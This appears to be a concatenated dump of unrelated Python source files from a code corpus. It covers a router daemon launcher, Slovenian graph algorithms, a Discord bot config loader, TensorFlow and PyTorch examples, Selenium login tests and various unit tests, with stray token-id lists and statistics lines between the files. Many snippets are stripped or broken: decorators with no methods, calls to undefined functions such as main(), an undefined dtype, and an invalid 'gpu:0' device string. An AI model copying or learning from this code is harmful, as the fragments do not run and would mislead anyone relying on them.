from fritzconnection.lib.fritzstatus import FritzStatus
from threading import Thread
from uplink.daemon import Daemon
# Version format: MAJOR.FEATURE.FIXES
__version__ = "0.3.0"
# logger = logging.getLogger(__name__)
# PURPLE = "\033[95m"
# BLUE = "\033[94m"
# YELLOW = "\033[93m"
# GRAY = "\033[90m"
# END = "\033[0m"
if __name__ == "__main__":
args = parse_args()
# root_logger = logging.getLogger()
# if args.stdout:
# formatter = logging.Formatter(
# PURPLE + "%(asctime)s" + END + ":" + BLUE + "%(levelname)s" + END + ":" + YELLOW + "%(name)s" + END + ":" + GRAY + "%(message)s" + END)
# handler1 = logging.StreamHandler(sys.stdout)
# handler1.setFormatter(formatter)
# root_logger.addHandler(handler1)
# if args.logfile:
# logfile = path.expanduser(args.logfile)
# if not path.exists(path.dirname(logfile)):
# os.makedirs(path.dirname(logfile))
# formatter = logging.Formatter("%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# handler2 = logging.handlers.RotatingFileHandler(args.logfile, maxBytes=args.logsize, backupCount=args.logcount)
# handler2.setFormatter(formatter)
# root_logger.addHandler(handler2)
# root_logger.setLevel(args.loglevel)
config_path = args.config
try:
with open(config_path, 'r') as configfile:
config_data = configfile.read()
_config = json.loads(config_data)
except Exception as err:
# logger.error("Reading configuration file '" + config_path + "' failed: " + str(err))
print(str("Uplink: Configuration Error!"))
exit(1)
# try:
# run(_config)
# except KeyboardInterrupt:
# logger.info("Program terminated!")
# exit(0)
Uplink = Uplink("/tmp/uplink.pid", _config)
Uplink.start()
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] | 2.751479 | 1,183 |
# -*- coding: utf-8 -*-
"""
Funkcije na grafih.
V ocenah časovne zahtevnosti je n število vozlišč v grafu,
m število povezav v grafu, d(u) pa število sosedov vozlišča u.
Pri tem predpostavljamo, da velja n = O(m)
(graf ima O(1) povezanih komponent).
Podane časovne zahtevnosti veljajo za predstavitev grafa s seznami sosedov.
"""
def topoloskaUreditev(G):
"""
Topološko urejanje usmerjenega acikličnega grafa z odstranjevanjem izvorov.
Časovna zahtevnost: O(m)
"""
stopnje = {u: 0 for u in G.vozlisca()}
for u in stopnje:
for v in G.izhodniSosedi(u):
stopnje[v] += 1
s = []
for u, d in stopnje.items():
if d == 0:
s.append(u)
topord = []
while len(s) > 0:
v = s.pop()
topord.append(v)
for u in G.izhodniSosedi(v):
stopnje[u] -= 1
if stopnje[u] == 0:
s.append(u)
if len(topord) < len(stopnje):
raise ValueError("Graf ima cikle!")
return topord
def najkrajsaPotDAG(G, s, t):
"""
Poišče najkrajšo pot od s do t v usmerjenem acikličnem grafu G.
Časovna zahtevnost: O(m)
"""
topord = topoloskaUreditev(G)
d = {u: None for u in G.vozlisca()}
p = {u: None for u in G.vozlisca()}
d[s] = 0
for i in range(topord.index(s), topord.index(t)):
u = topord[i]
l = d[u]
for v, r in G.utezeniIzhodniSosedi(u).items():
if d[v] is None or d[v] > l+r:
d[v] = l+r
p[v] = u
pot = []
u = t
while u is not None:
pot.append(u)
u = p[u]
return (d[t], list(reversed(pot)))
def najdaljsaPotDAG(G, s, t):
"""
Poišče najdaljšo pot od s do t v usmerjenem acikličnem grafu G.
Časovna zahtevnost: O(m)
"""
topord = topoloskaUreditev(G)
d = {u: None for u in G.vozlisca()}
p = {u: None for u in G.vozlisca()}
d[s] = 0
for i in range(topord.index(s), topord.index(t)):
u = topord[i]
l = d[u]
for v, r in G.utezeniIzhodniSosedi(u).items():
if d[v] is None or d[v] < l+r:
d[v] = l+r
p[v] = u
pot = []
u = t
while u is not None:
pot.append(u)
u = p[u]
return (d[t], list(reversed(pot)))
def steviloPoti(G, s, t):
"""
Za usmerjen acikličen graf G z utežmi,
ki predstavljajo število načinov, kako lahko sledimo povezavi,
določi število načinov, kako lahko pridemo od vozlišča s do vozlišča t.
Časovna zahtevnost: O(m)
"""
st = {u: 1 if u == s else 0 for u in G.vozlisca()}
for u in topoloskaUreditev(G):
for v, d in G.utezeniIzhodniSosedi(u).items():
st[v] += st[u] * d
return st[t]
def vecTopoUreditev(G):
"""
Ugotovi, ali ima usmerjen acikličen graf več kot eno topološko ureditev.
Časovna zahtevnost: O(m)
"""
stopnje = {u: 0 for u in G.vozlisca()}
for u in stopnje:
for v in G.izhodniSosedi(u):
stopnje[v] += 1
s = []
for u, d in stopnje.items():
if d == 0:
s.append(u)
out = False
n = len(G)
for i in range(n):
if len(s) == i:
return False
if len(s) > i+1:
out = True
for u in G.izhodniSosedi(s[i]):
stopnje[u] -= 1
if stopnje[u] == 0:
s.append(u)
return out
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] | 1.717534 | 1,979 |
import os.path as osp
import yaml
import logging
log = logging.getLogger("discordbot")
features_path = "features.yml"
def get_extensions() -> list:
"""
Gets extensions from the `features.yml`
to be loaded into the bot
:return: list
"""
log.info("Getting extensions...")
exts = []
if osp.isfile(features_path):
with open(features_path, 'r') as file:
data = yaml.full_load(file)
extensions = data["extensions"]
for e in extensions:
e_name = e["extension"]
if "directory" in e:
e_name = f"{e['directory']}.{e_name}"
e_enabled = e["enabled"] if "enabled" in e else True
if e_enabled:
e_external = e["external"] if "external" in e else False
if e_external:
exts.append(e_name)
log.debug(f"Extension Found | External | {e_name}")
else:
exts.append(f"cogs.{e_name}")
log.debug(f"Extension Found | Internal | {e_name}")
# else:
# exts.append(f"cogs.{category}.{e_name}")
# log.debug(f"Extension Found | Cog | {category}.{e_name}")
log.info(f"Found *{len(exts)}* extensions.")
# log.debug(exts)
return exts
def get_commands_blacklist() -> list:
"""
Get commands from `features.yml` to blacklist,
preventing them from being added to the bot
:returns: list
"""
log.info("Getting commands blacklist...")
cmds = []
if osp.isfile(features_path):
with open(features_path, 'r') as file:
data = yaml.full_load(file)
if not "commands" in data:
log.warn("Commands blacklist object not found in features.yml file")
return list() # Return empty list
commands = data["commands"]
if not commands or len(commands) == 0:
log.debug("Empty blacklist commands data, returning...")
return list() # Return empty list
for c in commands:
c_name = c["command"]
e_enabled = c["enabled"] if "enabled" in c else True
if not e_enabled:
cmds.append(c_name)
log.debug(f"Command Found | Blacklist | {c_name}")
log.info(f"Found *{len(cmds)}* commands to blacklist.")
return cmds
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9,
9729,
284,
38810,
19570,
628,
220,
220,
220,
1441,
23991,
82,
198
] | 1.944321 | 1,347 |
# coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
from tensorflow.examples.tutorials.mnist import input_data
import tensorflow as tf
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('data_dir', './', 'Directory for storing data')
mnist = input_data.read_data_sets(FLAGS.data_dir, one_hot=True)
x = tf.placeholder(tf.float32, [None, 784])
W = tf.Variable(tf.zeros([784,10]))
b = tf.Variable(tf.zeros([10]))
y = tf.nn.softmax(tf.matmul(x,W) + b)
y_ = tf.placeholder("float", [None,10])
cross_entropy = -tf.reduce_sum(y_*tf.log(y))
train_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy)
init = tf.initialize_all_variables()
sess = tf.InteractiveSession()
sess.run(init)
for i in range(1000):
batch_xs, batch_ys = mnist.train.next_batch(100)
sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})
correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
print(accuracy.eval({x: mnist.test.images, y_: mnist.test.labels}))
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25,
285,
77,
396,
13,
9288,
13,
23912,
1424,
92,
4008,
198
] | 2.393736 | 447 |
import random
f1 = random.uniform(1.0, 100.0)
f2 = random.uniform(1.0, 100-f1)
f3 = random.uniform(1.0, 100-f1-f2)
f4 = random.uniform(1.0, 100-f1-f2-f3)
f5 = random.uniform(1.0, 100-f1-f2-f3-f4)
print(f1, f2, f3, f4, f5)
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] | 1.717557 | 131 |
from django.shortcuts import render,redirect,get_object_or_404
from django.views import View
# models import
from user.models import MovementReason,MovementPass, TimeSpend,\
MoveType
from admin.models import IDtype, Gender, PassUser,District
# essential imports
from django.http import HttpResponseRedirect
from django.contrib.auth.decorators import login_required
from django.contrib.auth import authenticate, login,logout
from django.utils.decorators import method_decorator
from django.contrib import messages
from django.contrib.auth.models import User
from django.contrib.auth.hashers import make_password
# forms import
from user.forms import PassApplyForm
# Dashboard for Movement Pass
# Apply for Movement Pass
# Collect Pass View
# View pass
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2,
9745,
6251,
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198,
198,
2,
3582,
1208,
220,
628
] | 3.537037 | 216 |
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' | [
38948,
796,
705,
32109,
90,
24223,
24223,
24223,
24223,
5324,
92,
6
] | 4.083333 | 12 |
# coding: utf-8
#
# Copyright 2022 :Barry-Thomas-Paul: Moss
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: // www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Interface Class
# this is a auto generated file generated by Cheetah
# Libre Office Version: 7.3
# Namespace: com.sun.star.awt
import typing
from abc import abstractmethod
from ..uno.x_interface import XInterface as XInterface_8f010a43
if typing.TYPE_CHECKING:
from .x_window import XWindow as XWindow_713b0924
from .x_window_peer import XWindowPeer as XWindowPeer_99760ab0
class XContainerWindowProvider(XInterface_8f010a43):
"""
provides container windows implementing the com.sun.star.awt.XWindow interface.
See Also:
`API XContainerWindowProvider <https://api.libreoffice.org/docs/idl/ref/interfacecom_1_1sun_1_1star_1_1awt_1_1XContainerWindowProvider.html>`_
"""
__ooo_ns__: str = 'com.sun.star.awt'
__ooo_full_ns__: str = 'com.sun.star.awt.XContainerWindowProvider'
__ooo_type_name__: str = 'interface'
__pyunointerface__: str = 'com.sun.star.awt.XContainerWindowProvider'
@abstractmethod
def createContainerWindow(self, URL: str, WindowType: str, xParent: 'XWindowPeer_99760ab0', xHandler: 'XInterface_8f010a43') -> 'XWindow_713b0924':
"""
creates a window for the given URL
xHandler can handle events in two different ways:
If XContainerWindowEventHandler is supported XContainerWindowEventHandler.callHandlerMethod() is always called first to handle the event. Only if the event cannot be handled by XContainerWindowEventHandler (callHandlerMethod() then has to return false) or if XContainerWindowEventHandler is not supported at all the Introspection based access will be used.
The Introspection based access tries to call a method named according to the HandlerMethodName specified by a vnd.sun.star.UNO:HandlerMethodName URL. First a method
void HandlerMethodName( [in] com.sun.star.awt.XWindow xWindow, [in] any aEvent )
will be searched. The signature is similar to XContainerWindowEventHandler. callHandlerMethod except for MethodName itself that isn't needed here. For more information about these parameters, see com.sun.star.awt.XContainerWindowEventHandler.
If this method is found, it will be called, otherwise a method
void HandlerMethodName( void )
will be searched and called.
Raises:
com.sun.star.lang.IllegalArgumentException: ``IllegalArgumentException``
"""
__all__ = ['XContainerWindowProvider']
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# we use the normal Web Interface to logg in and execute our tests
# alternative would be: https://www.home-assistant.io/integrations/rest/
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
LOVELACE_USERNAME='user'
LOVELACE_PASSWORD='1234'
# This should be the nginx-docker container name, see docker-compose file.
LOGIN_URL='http://nginx'
HASS_STARTUP_TIME=5
def setup():
"""Start headless Chrome in docker container."""
options = webdriver.ChromeOptions()
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument('--disable-gpu')
driver = webdriver.Chrome(options=options)
driver.implicitly_wait(5)
return driver
def expand_shadow_element(driver, element):
"""Small workaround to get the shadowRoot element using JS."""
return driver.execute_script('return arguments[0].shadowRoot', element)
def login(driver, user=LOVELACE_USERNAME, passwd=LOVELACE_PASSWORD):
"""execute login on main page."""
for i in range(10):
driver.get(LOGIN_URL)
if driver.title != '502 Bad Gateway':
break
time.sleep(HASS_STARTUP_TIME)
if i >= 9:
assert False, 'can not start home assistant: Bad Gateway, check nginx'
qry = [
'ha-authorize',
'ha-auth-flow',
'ha-form'
]
ha_form = get_from_shadow(driver, driver, qry)
inner_forms = ha_form.find_elements_by_tag_name('ha-form')
assert len(inner_forms) == 2
user_form, pw_form = inner_forms
qry = ['ha-form-string']
user_form = expand_shadow_element(driver, user_form)
user_input = get_from_shadow(driver, user_form, qry)
user_input = user_input.find_element_by_css_selector('paper-input')
user_input.send_keys(LOVELACE_USERNAME)
pw_form = expand_shadow_element(driver, pw_form)
pass_input = get_from_shadow(driver, pw_form, qry)
pass_input = pass_input.find_element_by_css_selector('paper-input')
pass_input.send_keys(LOVELACE_PASSWORD)
pass_input.send_keys(Keys.RETURN)
# wait for the sensor to actually send some data
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] | 2.609547 | 817 |
#/usr/bin/python3
# -*- coding: utf-8 -*-
# Copyright (c) 2016 Red Hat, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Written by Petr Šabata <[email protected]>
import unittest
import os
import sys
DIR = os.path.dirname(__file__)
sys.path.insert(0, os.path.join(DIR, ".."))
import modulemd
if __name__ == "__main__":
unittest.main()
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7,
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8,
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11,
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198,
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12417,
834,
1298,
198,
220,
220,
220,
555,
715,
395,
13,
12417,
3419,
198
] | 3.378713 | 404 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import json
import unittest
import httpretty
from pynodebb import Client
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2,
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] | 2.892857 | 56 |
# matchball + Выигрышные номера нескольких тиражей
| [
2,
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] | 1.106383 | 47 |
import os
| [
11748,
28686,
628
] | 3.666667 | 3 |
import argparse
import pprint
import time
from pathlib import Path
import torch
import random
import numpy as np
from tag2pix import tag2pix
root_path = Path(__file__).resolve().parent
dataset_path = root_path / "dataset"
tag_dump_path = root_path / "loader" / "tag_dump.pkl"
pretrain_path = root_path / "model.pth"
if __name__ == "__main__":
main()
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] | 2.721805 | 133 |
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for tensorflow.ops.argmax_op."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import functools
import numpy as np
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import test_util
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.platform import test
if __name__ == "__main__":
test.main()
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366,
834,
12417,
834,
1298,
198,
220,
1332,
13,
12417,
3419,
198
] | 3.862416 | 298 |
#05-Aug-2016
# Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4,
# formatting the table for insertion into RAINET DB.
workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/"
inputFile = workingFolder + "/supp_table4.txt"
conversionFile = workingFolder + "/uniprot-yourlist%3AM20160805325D09DDFD8B5D0CFB8A8926E064CD7EB15F2BQ.tab"
conversionFileGene = workingFolder + "/uniprot-ensembl_gene_id_mapping.tsv"
outputFile = open( workingFolder + "/Wan2015_s4_complexes_annotation.txt", "w" )
outputFileList = open( workingFolder + "/Wan2015_s4_complexes_list.txt", "w" )
###
### read conversion file between ENSG and uniprotAC
conversionDictGene = {} # key -> ID from Wan, val -> list of uniprotAC
with open( conversionFileGene) as inFile:
header = inFile.readline()
for line in inFile:
line = line.strip()
spl = line.split("\t")
uniprotAC = spl[0]
otherIDs = spl[1].split(" ")
for ID in otherIDs:
if ID not in conversionDictGene:
conversionDictGene[ ID] = []
conversionDictGene[ ID].append( uniprotAC)
### read conversion file between Protein name and uniprotAC
conversionDict = {} # key -> ID from Wan, val -> list of uniprotAC
with open( conversionFile) as inFile:
header = inFile.readline()
for line in inFile:
line = line.strip()
spl = line.split("\t")
uniprotAC = spl[0]
otherIDs = spl[1].split(" ")
for ID in otherIDs:
if ID not in conversionDict:
conversionDict[ ID] = []
conversionDict[ ID].append( uniprotAC)
### read annotation file
## ID mapping approach
# Map using protein names, as they map to a large number of uniprotACs.
# When there is same protein name mapping to several uniprotACs, try to use ENSG mapping to make them unique
found = set()
complexProteinPair = set() # store complex-protein pairs to write to file, avoiding duplicate entries
with open(inputFile) as inFile:
header = inFile.readline()
setComplexes = set()
for line in inFile:
line = line.strip()
spl = line.split("\t")
complexID = int( spl[0])
numberItems = int( spl[1])
ensgs = spl[2]
ensgSpl = ensgs.split(";")
assert len( ensgSpl) == numberItems
# get list of uniprotACs found with the ENSG
genePool = set()
for ensg in ensgSpl:
if ensg in conversionDictGene:
uniIDs = conversionDictGene[ ensg]
for uni in uniIDs:
genePool.add( uni)
symbols = spl[3]
symbolSpl = symbols.split(";")
assert len(symbolSpl) == numberItems
setComplexes.add( complexID)
symbolsPool = set()
for symbol in symbolSpl:
if symbol in conversionDict:
found.add( symbol)
uniprotACs = conversionDict[ symbol]
added = 0
# if there are duplicate mappings, include only the ones also present with the ENSG ID
if len( uniprotACs) > 1:
for uniprotAC in uniprotACs:
if uniprotAC in genePool:
added +=1
tag = str(complexID) + "|" + uniprotAC
complexProteinPair.add( tag)
if added > 1:
print "Duplicate in both protein name and ENSG", complexID, symbol, uniprotACs
else:
# there is only one, loop just because item is a list
for uniprotAC in uniprotACs:
tag = str(complexID) + "|" + uniprotAC
complexProteinPair.add( tag)
# Write to file
for complexPair in sorted( complexProteinPair):
complexPairSpl = complexPair.split("|")
outputFile.write( "%s\t%s\n" % (complexPairSpl[0], complexPairSpl[1]))
for complexID in sorted( setComplexes):
outputFileList.write( "%s\n" % (complexID))
print "Found mapping for %s IDs" % len( found)
print "FINISHED!"
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] | 2.10856 | 2,091 |
from config import *
import matplotlib.pyplot as plt
import numpy as np
import math
from scripts import *
if __name__ == '__main__':
main()
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# -*- coding: utf-8 -*-
"""
@brief test log(time=50s)
"""
import sys
import unittest
import warnings
from pyquickhelper.loghelper import fLOG
from pyquickhelper.pycode import get_temp_folder, add_missing_development_version
from pyquickhelper.pycode import fix_tkinter_issues_virtualenv
from pyquickhelper.ipythonhelper import execute_notebook_list_finalize_ut
import actuariat_python
if __name__ == "__main__":
unittest.main()
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] | 2.875817 | 153 |
import sys
import os
import pandas as pd
import numpy as np
import datetime
from shutil import copy
from yahoo_earnings_calendar import YahooEarningsCalendar
from zipline.data import bundles as bundles_module
from zipline.data.bundles.core import load, bundles
import imp
ext = imp.load_source('ext', '/root/.zipline/extension.py')
def get_tickers_from_bundle(bundle_name):
"""Gets a list of tickers from a given bundle courtesy PBHARRIN"""
bundle_data = load(bundle_name, os.environ, None)
# get a list of all sids
lifetimes = bundle_data.asset_finder._compute_asset_lifetimes()
all_sids = lifetimes.sid
# retreive all assets in the bundle
all_assets = bundle_data.asset_finder.retrieve_all(all_sids)
# return only tickers
return map(lambda x: (x.symbol, x.sid), all_assets)
def get_ticker_sid_dict_from_bundle(bundle_name):
"""Packs the (ticker,sid) tuples into a dict."""
all_equities = get_tickers_from_bundle(bundle_name)
return dict(all_equities)
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] | 2.752044 | 367 |
# Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Test TBRMMScore.
"""
from matched_markets.methodology import tbrmatchedmarkets
from matched_markets.methodology import tbrmmdata
from matched_markets.methodology import tbrmmdesignparameters
from matched_markets.methodology import tbrmmdiagnostics
from matched_markets.methodology import tbrmmscore
import numpy as np
import unittest
TBRMatchedMarkets = tbrmatchedmarkets.TBRMatchedMarkets
TBRMMDiagnostics = tbrmmdiagnostics.TBRMMDiagnostics
TBRMMDesignParameters = tbrmmdesignparameters.TBRMMDesignParameters
TBRMMData = tbrmmdata.TBRMMData
TBRMMScore = tbrmmscore.TBRMMScore
class ExhaustiveSearch(unittest.TestCase):
"""Test class TBRMMScore."""
def testCorrectInitialization(self):
"""Check the correct initialization of the class."""
self.diag.x = self.x
score = TBRMMScore(self.diag)
self.assertEqual(score.diag.corr, self.corr)
self.assertTrue(all(score.diag.y == self.y))
self.assertTrue(all(score.diag.x == self.x))
self.assertIsNone(score._score)
def testScorePropertySetter(self):
"""The score property setter works."""
self.diag.x = self.x
score = TBRMMScore(self.diag)
score.score = (1, 1, 1, 1, 0.5, 2.0) # Change value.
self.assertTupleEqual(score._score, (1, 1, 1, 1, 0.5, 2.0))
def testNoControlGroup(self):
"""An error is raised if the control group is not specified."""
with self.assertRaisesRegex(
ValueError,
r'No Control time series was specified'):
TBRMMScore(self.diag)
def testCorrectScore(self):
"""The score is as expected for a valid design."""
self.diag.x = self.x
score = TBRMMScore(self.diag)
self.assertTupleEqual(
score.score,
(1, 1, 1, 1, round(self.corr, 2), 1 / self.diag.required_impact))
def testScoreWhenTestFails(self):
"""The score is as expected for a design which fails a test."""
# use as control a time series which has low correlation (-0.1227604)
self.diag.x = [10 + 1 * i for i in range(len(self.y))]
score = TBRMMScore(self.diag)
self.assertTupleEqual(
score.score,
(0, 1, 1, 1, round(-0.12, 2), 1 / self.diag.required_impact))
def testCorrectSortingOfMultipleDesigns(self):
"""Check the <= function for the class."""
self.diag.x = self.x
# this design pass all tests and has high correlation
score_optimal = TBRMMScore(self.diag)
# The pair below implies a failure for the D-W test only.
x = np.array([132.5, 87.8, 89.4, 78.5, 117.3, 54.0, 134.9, 84.8, 106.4,
95.0, 129.2, 58.8, 93.6, 92.3, 122.7, 78.0, 96.6, 82.4,
100.8, 111.7, 78.0])
y = np.array([487.9, 393.6, 388.8, 375.0, 420.9, 305.5, 451.1, 364.2, 423.4,
376.2, 450.5, 303.9, 370.3, 371.2, 445.1, 333.7, 397.9,
398.0, 416.4, 419.6, 338.2])
diag_suboptimal = TBRMMDiagnostics(y, self.par)
diag_suboptimal.x = x
score_suboptimal = TBRMMScore(diag_suboptimal)
# this design fails the correlation test
diag_worst = TBRMMDiagnostics(self.y, self.par)
diag_worst.x = [10 + 1 * i for i in range(len(self.y))]
score_worst = TBRMMScore(diag_worst)
# the scores should be (from best to worst): score_optimal, score_suboptimal
# and score_worst
self.assertGreater(score_optimal, score_suboptimal)
self.assertGreater(score_optimal, score_worst)
self.assertGreater(score_suboptimal, score_worst)
def testNegativeCorrelationInScore(self):
"""Negative correlations are handled as expected."""
self.diag.x = self.x
# score_positive has a correlation of 0.86
score_positive = TBRMMScore(self.diag)
score_negative = TBRMMScore(self.diag)
# change the correlation value to -0.99
score_negative.score = score_negative.score._replace(corr=-0.99)
self.assertLess(score_negative, score_positive)
if __name__ == '__main__':
unittest.main()
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220,
555,
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13,
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] | 2.622043 | 1,733 |
"""
Name: lagrange.py
Goal: interpolation of newton
Author: HOUNSI Madouvi antoine-sebastien
Date: 02/03/2022
"""
import numpy as np
import matplotlib.pyplot as plt
import sys
from math import pow
from linearEq.utils.gaussForVal import gauss
from os.path import dirname, join
from interpolation.polynom import Polynom
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] | 2.863248 | 117 |
import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="timesias",
version="0.0.4",
author="Hanrui Zhang, Yuanfang Guan",
author_email="[email protected], [email protected]",
description="A machine-learning framework for predicting outcomes from time-series history.",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/GuanLab/timesias",
project_urls={
"Bug Tracker": "https://github.com/GuanLab/timesias/issues",
},
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
packages=setuptools.find_packages(where = 'src'),
entry_points = {
'console_scripts': [
'timesias = src.__main__:main'
]
},
python_requires=">=3.6",
install_requires = [
'numpy >=1.14.1',
'scikit-learn >=0.24.1',
'lightgbm >=3.1.1',
'shap ==0.35.0',
'bokeh >=2.3.0'
]
)
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17,
13,
18,
13,
15,
6,
198,
220,
220,
220,
2361,
198,
8,
198
] | 2.2751 | 498 |
lst1=[1,2,3,4]
lst2=lst1
lst3=lst1.copy()
lst1.append(5)
lst1[0]=10
print(lst1,lst2,lst3)
dict1={'aaa':1,'bbb':2}
dict2=dict1
dict3=dict1.copy()
dict1['ccc']=3
print(dict1,dict2,dict3)
set1=set(['aaa','bbb','ccc'])
set2=set1
set3=set1.copy()
set1.add('ddd')
print(set1,set2,set3)
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] | 1.674556 | 169 |
"""
Fitting a random data using fully connected network with one hidden layer.
"""
import torch
class MyRelu(torch.autograd.Function):
"""
Implement a custom made autograd function.
"""
@staticmethod
@staticmethod
device = torch.device('gpu:0' if torch.cuda.is_available() else 'cpu')
# Define dimensions
N, D_IN, H, D_OUT = 64, 1000, 100, 10
# Create random data
X = torch.randn(N, D_IN, device=device, dtype=dtype, requires_grad=False)
y = torch.randn(N, D_OUT, device=device, dtype=dtype, requires_grad=False)
# Initialize weights randomly
w_1 = torch.randn(D_IN, H, device=device, dtype=dtype, requires_grad=True)
w_2 = torch.randn(H, D_OUT, device=device, dtype=dtype, requires_grad=True)
# Define learning rate
lr = 1e-6
# Loop over number of epochs to fit the data to nn
for epoch in range(50):
# Forward pass
h = X.mm(w_1)
h_relu = MyRelu.apply(h)
y_pred = h_relu.mm(w_2)
# Compute loss
loss = (y_pred - y).pow(2).sum()
print(f'Loss {epoch} : {loss.item():.4f}')
# Use autograd to compute gradients
loss.backward()
# Update wights using gradient descent
# w_1.data -= lr * w_1.grad.data
# w_2.data -= lr * w_2.grad.data
with torch.no_grad():
w_1 -= lr * w_1.grad
w_2 -= lr * w_2.grad
# Zero the gradients
w_1.grad.zero_()
w_2.grad.zero_()
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220,
1303,
12169,
262,
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220,
220,
220,
266,
62,
16,
13,
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220,
220,
220,
266,
62,
17,
13,
9744,
13,
22570,
62,
3419,
198
] | 2.378049 | 574 |
import os
from ament_index_python.packages import get_package_share_directory
from launch_ros.actions import Node
from launch import LaunchDescription
from launch.actions import DeclareLaunchArgument
from launch.substitutions import LaunchConfiguration
| [
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"""This module contains handlers for the various supported URLs."""
from .ssh_git import SSHGitHandler
__all__ = ["SSHGitHandler"]
def find_handler(url):
"""Find a handler that will support a URL.
Args:
url: The URL to find a handler for.
Returns:
If a handler is found a class will be returned, None otherwise.
"""
for handler in __all__:
# Get the symbol for handler
mod = globals()[handler]
# Ask handler if it can handle the url
if getattr(mod, "can_handle")(url):
return mod
return None
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611,
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7,
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953,
198,
220,
220,
220,
1441,
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198
] | 2.669725 | 218 |
#!/usr/bin/env python
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""A Bazel extra_action which genenerates LLVM compilation database files.
The files written are consumed by the generate_compile_commands_json.py script
to collapse them into a single database.
"""
import sys
import third_party.bazel.extra_actions_base_pb2 as extra_actions_base_pb2
# When set commands will be emitted for all .h files required per unit.
INCLUDE_ALL_HEADERS = True
if __name__ == '__main__':
sys.exit(main(sys.argv))
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764,
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62,
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834,
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198,
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25064,
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37023,
7,
12417,
7,
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13,
853,
85,
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198
] | 3.518519 | 297 |
product = input()
times = int(input())
coffee = 1.50
water = 1
coke = 1.40
snacks = 2
print(f"{order():.2f}")
| [
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] | 2.235294 | 51 |
# Generated by Django 3.1 on 2021-01-07 18:37
import django.db.models.deletion
from django.db import migrations, models
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# -*- coding: utf-8 -*-
import logging
from telegram import Chat
from telegram.error import BadRequest
from marvinbot.handlers import CommandHandler, MessageHandler, CommonFilters, CallbackQueryHandler
from marvinbot.plugins import Plugin
from topic_plugin.factory import TopicPluginFactory
from topic_plugin.models import Topic, Subtopic
log = logging.getLogger(__name__)
MESSAGES_CACHE_KEY='topic-plugin-messages'
| [
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] | 3.406504 | 123 |
import re
from models.contact import Contact
| [
11748,
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] | 4.5 | 10 |
#!/usr/bin/env python3
# coding: utf-8
# Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
